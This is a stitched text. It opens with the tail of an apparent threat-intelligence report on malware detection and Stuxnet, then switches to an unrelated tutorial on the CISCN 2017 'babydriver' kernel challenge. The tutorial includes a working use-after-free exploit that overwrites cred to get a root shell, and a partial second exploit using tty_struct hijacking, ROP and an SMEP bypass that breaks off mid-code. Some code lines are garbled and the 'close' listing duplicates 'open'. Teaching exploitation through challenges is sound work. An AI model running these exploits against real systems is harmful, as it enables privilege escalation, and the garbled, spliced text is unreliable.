作为攻击载荷的恶意代码是网空攻击的“战斗部”，几乎绝大多数的网空攻击事件中都会出现恶意代码的身影，在高能力网空威胁行为体的攻击活动中更是如此。从威胁框架的视角来看，高能力网空威胁行为体要针对目标完成接触目标与进攻突防、持久化驻留潜伏、全程持续支撑作业，并进一步达成各种致效能力运用，在整个过程中，既需要针对业务场景达成作业意图，又要绕开体系化的防护，达成深度持久化和隐蔽通讯等动作，其必然要完成高度复杂的逻辑功能执行。这导致了APT攻击对恶意代码的依赖程度在不断加深，高级恶意代码呈现出框架日趋庞大、模块众多和指令体系原子化等趋势。
在过去对网空威胁的分析和对网空威胁行为体的追踪中，安天对震网、火焰、毒曲、方程式等拥有完整、严密的作业框架与方法体系的攻击活动，以及其自研使用的的高级恶意代码进行了持续关注分析；同时也分析了一些组合使用“商业军火”、开源免费工具即较低水平的自研恶意代码的定向攻击活动。这些分析工作是长期的、高代价的，但这些工作是实现更有效地防御和猎杀的基础。赋能客户建设动态综合防御体系是我们的目标；而针对攻击装备（恶意代码、漏洞利用程序和其他的工具）的斗争一直是其中的焦点。
在这种对抗中，传统的反病毒引擎和威胁情报成为两个具有互补作用的机制，前者针对海量的恶意代码的检测、辨识能力，并且通过深度预处理、虚拟执行等机制来应对恶意代码的变种、变换，因此在载荷检测方面，有无以伦比的识别与解析深度，而且对海量载荷对象提供了精准的判定机制。但传统病毒引擎在威胁对抗中的短板也很明显，其是最容易被攻击方获得的安全资源，绝大多数反病毒软件都可以公开的下载或低成本的购买、同时Virustotal等公开的多引擎扫描机制也会成为攻击方的测试资源。因此反病毒引擎面对自动化构造的免杀测试等方法，有被绕过的必然性。同时其本地检测定期升级库的机制，或者是云引擎对远程的依赖，对内网用户也都带来了一定的部署成本。另一个问题是，传统反病毒引擎的工作视角是基于样本检出率为核心指标的，其信息输出缺少从威胁对抗方面更明确的指向性。这些短板都需要威胁情报进行弥补。在威胁情报金字塔中，HASH、IP、域名等“狭义情报”被列入底层，即获取难度低、应用成本低。较为容易的被分析防御方提取为攻击指示器（信标），同时可以与多种安全设备、管理设备、防护软件等现有扩展接口实现对接。
**图 8-1 威胁情报金字塔模型**
尽管与传统的反病毒检测引擎相比，HASH检测机制毫无鲁棒性可言，但由于HASH的唯一性，其在可靠的知识运营支撑的情况下，可以建立起对攻击组织的精准的指向性。例如两个不同的攻击组织，分别定制了同一个版本的商用木马，在文件尾部附着了各自的C2配置。对于反病毒引擎来说，这是同一种样本，而对于HASH情报在分析支撑下输出，反而能将其区别出来。但HASH情报其可用前提也很明显，那就是存在着二进制形态不变的样本复用。对IP和域名规则也是如此，当情报供给方能将恶意活动指向某个确定的通讯基础设施（C2），来完成心跳、控制、升级、回传等操作，并将这个恶意活动指向某个攻击组织时，那么相应的网络IoC就可以命中在其他攻击活动中的行为，从而建立起攻击行为和组织的关联。这种低层次的攻击指向器，尽管效用机理比反病毒引擎和流量检测引擎都要简单，但基于其可以快速发布，广泛扩展，精准定义，一定程度上带了一种快速的、更为普适的监测和普查能力。因此传统检测引擎+IoC情报可以形成一定的互补组合的效果。这种组合模式也是过去数年安天所推动的模式。
但通过复盘9年前的震网事件就可以看到，这个层面的情报对于 A2PT
攻击近乎无效。每一台主机上提取到Dropper文件的HASH都不可能命中另一台主机上的等效文件。我们不能认为震网Dropper的落地自写更新机制，主要目的是为了对抗HASH检测机制，但其客观上构成了这样的效果。而更需要看到的是，尽管在分析过程中，可以看到震网攻击的相关域名从2005年已经被注册。但在分析方将相关通讯特性作为规则时，震网的攻击效果已经达成，而在毒曲等的攻击中，我们亦广泛看到内网C2等机制的存在。如果反病毒引擎是一种会被攻击者重点绕过的重载机制，而攻击指示器（信标）又作为一种稳定性极低的情报机制的话，这对双保险的效果就会大打折扣。
安天基于传统检测引擎在威胁对抗中，是攻击方重点绕过环节的特点，自2016年起开始研发下一代威胁检测引擎。安天下一代引擎延续并深化了安天传统引擎格式识别、深度解析等特点，继承对海量恶意代码精准的分类到变种的识别能力。同时，以没有可信的格式和对象为前提，形成对检测对象全格式识别，对更多重点格式形成深度解析能力。不止为调用环节输出判定结果，同时也可以将检测对象的向量拆解结果结构化输出，形成支撑产品场景和态势感知场景研判分析、关联与追溯的数据资源。
探索检测引擎与威胁情报更好的结合，建立起更可靠的基础标识能力与响应机制，更有效的支撑TTP，乃至人员组织相关的情报，建立起更完善的知识工程运营体系，这对我们来说，将是一个需要长期努力的方向。
### **附录一：参考资料**
[1] 对Stuxnet蠕虫攻击工业控制系统事件的综合分析报告
<https://www.antiy.com/response/stuxnet/Report_on_the_Worm_Stuxnet_Attack.html>
[2] 对Stuxnet蠕虫的后续分析报告
[安天技术文章汇编（五）工控系统安全分册](https://www.antiy.com/response/20190930.html#)
[3] WinCC后发生了什么
[安天技术文章汇编（五）工控系统安全分册](https://www.antiy.com/response/20190930.html#)
[4] 《Offensive Cyber Capabilities at the Operation Level》
<https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/130916_Leed_OffensiveCyberCapabilities_Web.pdf>
[5] “方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告
<https://www.antiy.com/response/20190601.html>
[6] Why Stuxnet Isn't APT
<https://digital-forensics.sans.org/blog/2011/03/24/digital-forensics-stuxnet-apt>
[7] Revealed: How a secret Dutch mole aided the U.S.-Israeli Stuxnet
cyberattack on Iran
<https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html>
[8] W32.Stuxnet
<https://www.symantec.com/security-center/writeup/2010-071400-3123-99>
[9] Stuxnet’s Secret Twin
<http://www.foreignpolicy.com/articles/2013/11/19/stuxnets_secret_twin_iran_nukes_cyber_attack#sthash.ENqwTV0K.dpbs>
[10] 探索Duqu木马的身世之谜——Duqu和Stuxnet同源性分析
<http://blog.sina.com.cn/s/blog_64a6dc1501016sed.html>
[11] 从Duqu病毒与Stuxnet蠕虫的同源性看工业控制系统安全
[安天技术文章汇编（五）工控系统安全分册](https://www.antiy.com/response/20190930.html#)
[12] Resource 207: Kaspersky Lab Research Proves that Stuxnet and Flame
Developers are Connected
<https://www.kaspersky.com/about/press-releases/2012_resource-207-kaspersky-lab-research-proves-that-stuxnet-and-flame-developers-are-connected>
[13] Flame蠕虫样本集分析报告
<https://www.antiy.com/response/flame/Analysis_on_the_Flame.html>
[14] Duqu和Stuxnet同源性分析系列报告
[安天技术文章汇编（五）工控系统安全分册](https://www.antiy.com/response/20190930.html#)
* * * | 社区文章 |
# 【技术分享】一道简单内核题入门内核利用
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[anciety](http://bobao.360.cn/member/contribute?uid=2806750221)
预估稿费：400 RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
对于学过用户空间pwn的同学来说，内核一直是向往但是却不知道如何下手的一个地方，最近的CISCN比赛中出现了一道内核的基础题目，我认为是一道非常适合内核入门的一道题目，所以我就这道题目，通过自己的分析，希望让大家学会如何去分析一道内核的题目，如何去完成内核的题目，如何通过阅读linux内核源码在内核漏洞利用中帮助自己理解细节，学会分析。
**调试环境**
内核的知识很多，我没有办法将所有知识都阐述详细，我在这里默认大家已经知道了以下内容的基本概念：
内核
特权等级
内核空间与用户空间
系统调用
slab/slub分配器
内核模块/驱动
这些都是内核的基础知识，我在这里不做详细的阐述，大家可以自己去找找资料，我在这里主要将这些基础概念给大家一个直观的印象。
**1\. 内核**
内核是操作系统的核心，目的是为上层提供一个接口，和CPU进行交互，方式就是通过设置各种CPU所需要的结构，让CPU能够提供相应的功能，比如设置虚拟内存所需要的一些结构，使得CPU能够顺利识别，从而提供虚拟内存功能。和操作系统进行交互可以通过系统调用等方式实现。
**2\. 特权等级**
CPU将指令分为各种特权等级，特权指令就是必须在特定特权下才能够执行的指令，否则会出现错误，intel将特权等级分为ring0到ring3，其中ring3特权最低，ring0最高，linux只使用了ring0和ring3，ring0为内核运行的等级，ring3为用户运行的等级。
**3\. 内核空间与用户空间**
内核空间就是操作系统自己运行的空间，运行在ring0特权等级，拥有自己的空间，位于内存的高地址，而用户空间则是我们平时应用程序运行的空间，运行在ring3特权等级，使用较低地址。内核拥有自己的栈，和用户空间的栈并不共用。
**4\. 系统调用**
系统调用是linux内核向用户空间提供功能的方式，通过调用特定的系统调用，用户空间可以获取内核提供的功能。比如read函数事实上就是一个系统调用，通过传入特定的参数，内核可以读取用户输入，并且输入到buf里。
通过使用系统调用，用户空间用户程序将会转入内核空间去执行，在执行完之后通过特殊方式回到用户空间，中间会涉及到用户空间与内核空间的切换。大致流程如下：
**1) 进入**
i. 通过swapgs切换GS段寄存器，是将GS寄存器值和一个特定位置的值进行交换，目的是保存GS值，同时将该位置的值作为内核执行时的GS值使用。
ii. 将当前栈顶（用户空间栈顶）记录在CPU独占变量区域里，将CPU独占区域里记录的内核栈顶放入rsp(esp)。
iii. 通过push保存各寄存器值，代码如下：
<http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S>
1. ENTRY(entry_SYSCALL_64)
2. /* SWAPGS_UNSAFE_STACK是一个宏，x86直接定义为swapgs指令 */
3. SWAPGS_UNSAFE_STACK
4.
5. /* 保存栈值，并设置内核栈 */
6. movq %rsp, PER_CPU_VAR(rsp_scratch)
7. movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
8.
9.
10./* 通过push保存寄存器值，形成一个pt_regs结构 */
11./* Construct struct pt_regs on stack */
12.pushq $__USER_DS /* pt_regs->ss */
13.pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
14.pushq %r11 /* pt_regs->flags */
15.pushq $__USER_CS /* pt_regs->cs */
16.pushq %rcx /* pt_regs->ip */
17.pushq %rax /* pt_regs->orig_ax */
18.pushq %rdi /* pt_regs->di */
19.pushq %rsi /* pt_regs->si */
20.pushq %rdx /* pt_regs->dx */
21.pushq %rcx tuichu /* pt_regs->cx */
22.pushq $-ENOSYS /* pt_regs->ax */
23.pushq %r8 /* pt_regs->r8 */
24.pushq %r9 /* pt_regs->r9 */
25.pushq %r10 /* pt_regs->r10 */
26.pushq %r11 /* pt_regs->r11 */
27.sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
iv. 通过汇编指令判断是否是x32_abi（暂时可以忽略这个内容）。
v. 通过系统调用号，跳到全局变量sys_call_table相应位置继续执行相应系统调用。
**2) 退出**
i. 通过swapgs恢复GS值。
ii.
通过sysretq或者iretq恢复到用户空间进行执行，如果使用Iretq还需要给出用户空间的一些信息，比如CS值，eflags标志寄存器值，用户栈顶位置等等信息。
**5\. slab/slub分配器**
这是一个比较大的内容，内核中也需要使用到内存的分配，类似于用户空间malloc的功能。在内核中没有libc，所以没有malloc，但是需要这样的功能，所以有kmalloc，其实现是使用的slab/slub分配器，现在多见的是slub分配器。这个分配器通过一个多级的结构进行管理。首先有cache层，cache是一个结构，里边通过保存空对象，部分使用的对象和完全使用了对象来管理，对象就是指内存对象，也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache，一个cache对应一个2的幂大小的一组内存对象。
slab分配器严格按照cache去区分，不同cache的无法分配在一页内，slub分配器则较为宽松，不同cache如果分配相同大小，可能会在一页内，这个点很重要，之后的exp会用到。
**6\. 内核模块/驱动**
这是linux拓展内核功能的一个功能，通过向内核插入内核模块可以动态的加载一些驱动代码，用来负责和硬件进行交互，或者在内核层提供一些软件功能。内核模块运行在内核空间，可以通过设备文件来进行交互，比如/dev/目录下的文件很多就是设备文件，打开设备文件，关闭设备文件等等就是使用open、close函数，这些函数在内核模块里进行定义，然后在加载的时候按照一定的规则进行设置，所以通过这些函数可以调用到内核里的模块的相应设置好的函数，最后在内核完成一系列操作，为用户空间提供功能。
SMEP是我需要稍微提一下的，这是一个内核的保护机制，目的是避免ret2usr利用方式，ret2usr即从内核空间劫持控制流，使得控制流回到用户空间，以ring
0执行用户空间代码来进行提权。开启了SMEP的时候，CPU将会阻止在ring
0执行用户空间代码。这是一个CPU功能，由CPU的CR4寄存器管理，用一个位来标志是否开启SMEP保护。不过，SMEP保护并没有阻止直接从用户空间获取数据，只是阻止执行用户空间代码。
**题目**
好了基础基本就提到这里，让我们来看一道题，这道题是ciscn-2017的babydriver，题目难度不大，很适合入门，让我们可以很直观的感受到完成一次内核pwn的整个过程。
**1\. 题目分析**
题目给出了3个文件，一个rootfs.cpio一个bzImage和一个boot.sh，boot.sh内容如下：
1.#!/bin/bash
2.
3.qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
很显然我们需要安装qemu，这个就自己去安装啦。
然后就是一个对qemu的调用，kernel使用了bzImage，然后用rootfs.cpio作为initrd，其实就是bzImage是内核的映像，然后rootfs.cpio是根文件的映像。在远程，也就是使用这个boot.sh打开的qemu环境，我们能接触到的就是在这个qemu环境里。
qemu环境里有flag，可是我们没有权限读取，必须是root才有权限读取，显然我们需要进行提权。
通过查看/lib/modules/目录，我们发现有一个babydriver.ko，通过查看/proc/modules我们可以看到babydriver.ko作为内核模块已经加载进了内核里，我们还可以看到其加载的地址，很好！
接下来的任务就很显然了，我们需要看懂babydriver.ko干了什么。
init和exit函数没有什么太大的意思，基本上就是设置参数，初始化设备等等工作，我们的重点是几个函数。不过需要注意，init中设置了/dev/babydev作为设备文件。
open函数：
1. __int64 __fastcall babyopen(inode *inode, file *filp,__int64 a3, __int64 a4)
2. {
3. char *v4; // rax@1
4. __int64 v5; // rdx@1
5.
6. _fentry__(inode, filp, a3, a4);
7. LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6), 0x24000C0LL, 64LL);
8. babydev_struct.device_buf = v4;
9. babydev_struct.device_buf_len = 64LL;
10. printk("device openn", 0x24000C0LL, v5);
11. return 0LL;
12.}
close函数：
1.__int64 __fastcall babyopen(inode *inode, file *filp, __int64a3, __int64 a4)
2. {
3. char *v4; // rax@1
4. __int64 v5; // rdx@1
5.
6. _fentry__(inode, filp, a3, a4);
7. LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6), 0x24000C0LL, 64LL);
8. babydev_struct.device_buf = v4;
9. babydev_struct.device_buf_len = 64LL;
10. printk("device openn", 0x24000C0LL, v5);
11. return 0LL;
12.}
ioctl函数：
1. __int64 __fastcall babyioctl(file *filp, __int64 command, unsigned __int64 arg, __int64 a4)
2. {
3. size_t v4; // rdx@1
4. size_t v5; // rbx@1
5. char *v6; // rax@2
6. __int64 v7; // rdx@2
7. __int64 result; // rax@2
8.
9. _fentry__(filp, command, arg, a4);
10. v5 = v4;silu
11. if ( (_DWORD)command == 0x10001 )
12. {
13. kfree(babydev_struct.device_buf);
14. LODWORD(v6) = _kmalloc(v5, 0x24000C0LL);
15. babydev_struct.device_buf = v6;
16. babydev_struct.device_buf_len = v5;
17. printk("alloc donen", 0x24000C0LL, v7);
18. result = 0LL;
19. }
20. else
21. {
22. printk(&default_arg_is_format_str, v4, v4);
23. result = -22LL;
24. }
25. return result;
26.}
write函数：
1. ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
2. {
3. unsigned __int64 copy_len; // rdx@1
4. ssize_t result; // rax@2
5. ssize_t v6; // rbx@3
6.
7. _fentry__(filp, buffer, length, offset);
8. if ( babydev_struct.device_buf )
9. {
10. result = -2LL;
11. if ( babydev_struct.device_buf_len > copy_len )
12. {
13. v6 = copy_len;
14. copy_from_user(babydev_struct.device_buf, buffer, copy_len);
15. result = v6;
16. }
17. }
18. else
19. {
20. result = -1LL;
21. }
22. return result;
23.}
read函数：
1. ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
2. {
3. unsigned __int64 copy_len; // rdx@1
4. ssize_t result; // rax@2
5. ssize_t v6; // rbx@3
6.
7. _fentry__(filp, buffer, length, offset);
8. if ( babydev_struct.device_buf )
9. {
10. result = -2LL;
11. if ( babydev_struct.device_buf_len > copy_len )
12. {
13. v6 = copy_len;
14. copy_to_user(buffer, babydev_struct.device_buf, copy_len);
15. result = v6;
16. }
17. }
18. else
19. {
20. result = -1LL;
21. }
22. return result;
23.}
源码非常简单，大概就是有一个struct，其中保存了一个buf和一个size，buf在open时通过kmem_cache_alloc进行分配，这个分配其实是和kmalloc一个原理，这里我是通过查看源码发现的，具体查看的源码如下：
<http://elixir.free-electrons.com/linux/v4.12/source/include/linux/slab.h#L480>
1. static __always_inline void *kmalloc(size_t size, gfp_t flags)
2. {
3. if (__builtin_constant_p(size))
4. {
5. if (size > KMALLOC_MAX_CACHE_SIZE)
6. return kmalloc_large(size, flags);
7. #ifndef CONFIG_SLOB
8. if (!(flags & GFP_DMA))
9. {
10. int index = kmalloc_index(size);
11.
12. if (!index)
13. return ZERO_SIZE_PTR;
14.
15. return kmem_cache_alloc_trace(kmalloc_caches[index], flags, size);
16. }
17.#endif
18. }
19. return __kmalloc(size, flags);
20.}
ifndef 是满足的，因为我们可以默认没有使用slob（猜的，因为大多数时候都是slub和slab，其中又以slub居多），所以return
kmem_cache_alloc_trace其实就是open时候调用的，这里是因为常数时候编译器做了一个优化，所以看起来和kmalloc好像不太一样。
好了，open的时候kmalloc了一个大小为64的空间，然后size设置为64，release的时候将会释放这个空间。read和write都会先检查buf指针是不是为NULL，不为NULL再检查大小是否满足要求，之后进行read和write操作，也就是向用户空间写或者读。
ioctl比较特殊，首先判断command是不是为0x10001，如果满足，将会释放之前的buf，新分配一个用户决定大小的空间，并且设置为size。
功能基本上就讲完了，乍一看好像没有漏洞，那是因为用户空间pwn的思维在限制你使用单线程的思维去考虑。如果是多线程呢？
我们假设我们打开了两个设备文件，也就是调用了两次open，第一次分配了，第二次其实将会覆盖第一次分配的buf，因为是全局的。有了这个思维，剩下的就好想了，如果我们release了第一个，第二个其实就已经是被释放过的了，这样，就造成了一个UAF了。
接下来我们就来讨论如何进行提权了，注意，题目是开启了SMEP保护的，从boot.sh中可以看出来。
**2\. 题目思路1.0**
通过我们对slub分配器的了解，相同大小的会被放在一块，现在我们来想想，一个进程的权限，是由什么定的？相信你们都知道，uid，uid又保存在哪儿呢？答案是cred结构。cred结构在每一个进程中都有一个，并且保存了该进程的权限信息，如果我们能够修改到cred信息，那么事情就很简单了。
于是思路是，我们有了一个UAF，使某个进程的cred结构体被放进这个UAF的空间，然后我们能够控制这个cred结构体，通过write写入uid，万事大吉！
问题是，如何控制cred结构？别忘了，**相同大小的会被放在一块**，我们首先通过ioctl改变大小，使得和cred结构大小一样，接下来只需要在触发UAF的时候新建一个cred结构，新建的结构就很有可能被放进这个UAF的空间里，创建方法嘛，每一个进程都有，那么，新建一个进程不就好了？新建进程嘛，fork就解决了。
好了，只剩下一个问题，大小是多少？
方法一：查看源码。因为配置比较多，效率比较低，还容易错。
方法二：编译一个带符号的内核，直接查看。
这里怎么使用方法二就是另外一篇文章的内容了，大概就是编译一个源码，然后去看符号就行了。因为一般这种内核也就是默认编译，所以相对也会比较准确的。
如果查看源码，去掉debug选项，也可以计算出来，大小是0xa8。源码如下：
<http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/cred.h#L118>
1. struct cred {
2. atomic_t usage;
3. #ifdef CONFIG_DEBUG_CREDENTIALS
4. atomic_t subscribers; /* number of processes subscribed */
5. void *put_addr;
6. unsigned magic;
7. #define CRED_MAGIC 0x43736564
8. #define CRED_MAGIC_DEAD 0x44656144
9. #endif
10. kuid_t uid; /* real UID of the task */
11. kgid_t gid; /* real GID of the task */
12. kuid_t suid; /* saved UID of the task */
13. kgid_t sgid; /* saved GID of the task */
14. kuid_t euid; /* effective UID of the task */
15. kgid_t egid; /* effective GID of the task */
16. kuid_t fsuid; /* UID for VFS ops */
17. kgid_t fsgid; /* GID for VFS ops */
18. unsigned securebits; /* SUID-less security management */
19. kernel_cap_t cap_inheritable; /* caps our children can inherit */
20. kernel_cap_t cap_permitted; /* caps we're permitted */
21. kernel_cap_t cap_effective; /* caps we can actually use */
22. kernel_cap_t cap_bset; /* capability bounding set */
23. kernel_cap_t cap_ambient; /* Ambient capability set */
24.#ifdef CONFIG_KEYS
25. unsigned char jit_keyring; /* default keyring to attach requested keys to */
26. struct key __rcu *session_keyring; /* keyring inherited over fork */
27. struct key *process_keyring; /* keyring private to this process */
28. struct key *thread_keyring; /* keyring private to this thread */
29. struct key *request_key_auth; /* assumed request_key authority */
30.#endif
31.#ifdef CONFIG_SECURITY
32. void *security; /* subjective LSM security */
33.#endif
34. struct user_struct *user; /* real user ID subscription */
35. struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
36. struct group_info *group_info; /* supplementary groups for euid/fsgid */
37. struct rcu_head rcu; /* RCU deletion hook */
38.};
对于不是很明确的type可以直接查找reference去查看typedef。同时通过查看源码，我们还轻松的找到了uid等等各种id的位置。那么直接把该改的都改为0就可以了。
方法就很简单了，看看exp吧。
1. #include <stdio.h>
2. #include <unistd.h>
3. #include <stdlib.h>
4. #include <fcntl.h>
5. #include <string.h>
6. #include <sys/types.h>
7. #include <sys/wait.h>
8. #include <sys/ioctl.h>
9. #include <pthread.h>
10.#define CRED_SIZE 168
11.#define DEV_NAME "/dev/babydev"
12.char buf[100];
13.int main()
14.{
15. int fd1, fd2, ret;
16. char zero_buf[100];
17. memset(zero_buf, 0, sizeof(char) * 100);
18. fd1 = open(DEV_NAME, O_RDWR);
19. fd2 = open(DEV_NAME, O_RDWR);
20.
21. ret = ioctl(fd1, 0x10001, CRED_SIZE);
22.
23. close(fd1);
24.
25. int now_uid = 1000;//当前uid为1000
26. int pid = fork();
27. if (pid < 0)
28. {
29. perror("fork error");
30. return 0;
31. }
32.
33. if (!pid)
34. {
35. //写入28个0，一直到egid及其之前的都变为了0，这个时候就已经会被认为是root了。
36. ret = write(fd2, zero_buf, 28);
37. now_uid = getuid();
38. if (!now_uid)
39. {
40. printf("get root donen");
41. // 权限修改完毕，启动一个shell，就是root的shell了。
42. system("/bin/sh");
43. exit(0);
44. }
45. else
46. {
47. puts("failed?");
48. exit(0);
49. }
50. }
51. else
52. {
53. wait(NULL);
54. }
55. close(fd2);
56. return 0;
57.}
**3\. 题目思路2.0**
好了，第一种方法只是个开胃菜，非常简单非常粗暴，现在让我们来看看更麻烦的方法，使用tty_struct。关于tty的知识我在这里不想做过多解释，大家可以自行查找资料。反正tty也是一种设备，通过'/dev/ptmx'可以打开这个设备，我们要做的，就是去修改这个设备的函数指针，从而使得对这个设备的操作变为我们所能控制的，也就是说，我们控制了内核空间的执行流，完美！那么又该干点什么呢？
由于开启了smep，我们不能直接返回用户空间然后以ring0的身份调用函数。如果可以，那么只需要调用commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份，可惜我们还有更多的工作要做。
既然问题是开启了smep，那么简单，我们反正都控制了执行流，把它关掉就好了。关掉的方法就是通过写入cr4寄存器，将smep位关掉就好了，关掉smep，我们就可以回去执行提权的函数啦。
可是光是控制一次执行流是没办法做这么多工作的，而且我们也没法执行用户空间指定的代码，方法嘛，也是我们常见的方法，ROP。
通过在内核空间进行ROP，执行内核代码，关掉smep，之后回用户空间提权，然后就可以打开shell啦。内核的ROP其实和用户空间ROP相差无几，不过还是有几个细节内容需要考虑，比如，栈在哪儿？没有栈咋ROP呢？没有栈，我们就自己造栈嘛，通过一个gadget，比如xchg
eax,
esp，注意这里是eax和esp，32位的，就可以做到了。原理就是由于在执行那个ioctl的时候eax正好是要执行的指令的地址，换句话说，就是gadget的地址，而eax截取了低32位，如果是整个64位，rax必然是一个内核空间的地址，可是低32位，就落到用户空间了。
于是我们mmap这个位置，xchg eax,
esp，使得esp变为这个值，这样栈就落到了用户空间以内。虽然没法执行代码，但是可以获取数据啊，于是我们就从用户空间获取数据来ret，然后执行内核空间的代码。
好了，几个难点如下：
1) 如何获取控制流？已解决，通过UAF使得tty_struct覆盖我们释放的位置，我们可以控制tty_struct，然后改写它的操作即可。
2) 如何设定栈？已解决，xchg eax, esp。
3) 如何关掉smep？已解决，通过ROP调用内核空间的gadget写入关掉smep的新cr4值到cr4寄存器里。
4)
如何获取权限？已解决，在关掉smep之后，用户空间调用commit_creds(prepare_kernel_creds(0))即可，这两个函数都是位于内核空间的，可是只要我们知道他们的符号位置，就可以调用内核函数，因为回到用户空间之后，我们的特权还是ring
0的，只是内存位置回来了而已。
5) 如何获取shell？还需要解决？直接system("/bin/sh");不就完了，用户空间的代码可是我们自己写的啊！
6) 实际问题：如何写ROP链？
剩下一个实际问题需要我们解决了，主要是，怎么找gadget？
bzImage实际上是已经被压缩过得vmlinuz，我们需要通过linux源码里scripts目录下的extract-vmlinux来extract，之后直接通过ropper或者ROPGadgets获取gadget就可以了。
接下来就是要找哪些gadget的问题了，根据之前的问题，我们需要如下的gadget：
1) xchg eax, esp来设置栈，用这个gadget覆盖ioctl操作函数嘛。
2) 写入cr4，来关闭smep。
3) swapgs，回到用户空间之前的准备。
4) iretq，用来回到用户空间特权级方便打开shell。
5) commit_creds
6) prepare_kernel_cred
7) 打开shell。
前四个直接在刚才生成的gadget中去找就可以了，后三个中的4和5，需要内核符号，在/proc/kallsyms文件可以读取到内核所有符号的地址，所以解决了，最后一个打开shell，就是用户空间的地址，好了，解决完毕。
于是任务就简单了，让我们来看看exp：
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <unistd.h>
4. #include <sys/types.h>
5. #include <errno.h>
6. #include <sys/stat.h>
7. #include <sys/ioctl.h>
8. #include <fcntl.h>
9. #include <string.h>
10.#include <pty.h>
11.#include <sys/mman.h>
12.#include <sys/ipc.h>
13.#include <sys/sem.h>
14.
15.#define TTY_STRUCT_SIZE 0x2e0
16.#define SPRAY_ALLOC_TIMES 0x100
17.
18.int spray_fd[0x100];
19.
20./*
21.
22.tty_struct:
23. int magic; // 4
24. struct kref kref; // 4
25. struct device *dev; // 8
26. struct tty_driver *driver; // 8
27. const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
28. [...]
29.
30.*/
31.
32.struct tty_operations {
33. struct tty_struct * (*lookup)(struct tty_driver *driver,
34. struct file *filp, int idx);
35. int (*install)(struct tty_driver *driver, struct tty_struct *tty);
36. void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
37. int (*open)(struct tty_struct * tty, struct file * filp);
38. void (*close)(struct tty_struct * tty, struct file * filp);
39. void (*shutdown)(struct tty_struct *tty);
40. void (*cleanup)(struct tty_struct *tty);
41. int (*write)(struct tty_struct * tty,
42. const unsigned char *buf, int count);
43. int (*put_char)(struct tty_struct *tty, unsigned char ch);
44. void (*flush_chars)(struct tty_struct *tty);
45. int (*write_room)(struct tty_struct *tty);
46. int (*chars_in_buffer)(struct tty_struct *tty);
47. int (*ioctl)(struct tty_struct *tty,
48. unsigned int cmd, unsigned long arg);
49. long (*compat_ioctl)(struct tty_struct *tty,
50. unsigned int cmd, unsigned long arg);
51. void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
52. void (*throttle)(struct tty_struct * tty);
53. void (*unthrottle)(struct tty_struct * tty);
54. void (*stop)(struct tty_struct *tty);
55. void (*start)(struct tty_struct *tty);
56. void (*hangup)(struct tty_struct *tty);
57. int (*break_ctl)(struct tty_struct *tty, int state);
58. void (*flush_buffer)(struct tty_struct *tty);
59. void (*set_ldisc)(struct tty_struct *tty);
60. void (*wait_until_sent)(struct tty_struct *tty, int timeout);
61. void (*send_xchar)(struct tty_struct *tty, char ch);
62. int (*tiocmget)(struct tty_struct *tty);
63. int (*tiocmset)(struct tty_struct *tty,
64. unsigned int set, unsigned int clear);
65. int (*resize)(struct tty_struct *tty, struct winsize *ws);
66. int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
67. int (*get_icount)(struct tty_struct *tty,
68. struct serial_icounter_struct *icount);
69. const struct file_operations *proc_fops;
70.};
71.
72.typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);
73.typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_func)(unsigned long cred);
74.
75./* Gadgets */
76.commit_creds_func commit_creds = (commit_creds_func) 0xffffffff810a1420;
77.prepare_kernel_cred_func prepare_kernel_cred = (prepare_kernel_cred_func) 0xffffffff810a1810;
78.unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;
79.unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
80.unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
81.//unsigned long iretq = 0xFFFFFFFF8181A797;
82.unsigned long iretq = 0xffffffff814e35ef;
83.unsigned long swapgs = 0xFFFFFFFF81063694;
84.
85./* status */
86.unsigned long user_cs, user_ss, user_eflags;
87.void save_stats() {
88. asm(
89. "movq %%cs, %0n"
90. "movq %%ss, %1n"
91. "pushfqn"
92. "popq %2n"
93. :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags)
94. :
95. : "memory"
96. );
97.}
98.
99.void get_shell() {
100. // char *shell_str = "/bin/sh";
101. // char *args[] = {shell_str, NULL};
102. // execve(shell_str, args, NULL);
103. system("/bin/sh");
104.}
105.
106.void shellcode() {
107. commit_creds(prepare_kernel_cred(0));
108.}
109.
110.void exploit() {
111. char *buf = (char*) malloc(0x1000);
112. char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations
113. struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));
114.
115. save_stats();
116.
117. memset(fake_tty_operations, 0, sizeof(struct tty_operations));
118. fake_tty_operations->proc_fops = &fake_file_operations;
119. fake_tty_operations->ioctl = (unsigned long)xchgeaxesp;
120.
121. int fd1 = open("/dev/babydev", O_RDWR);
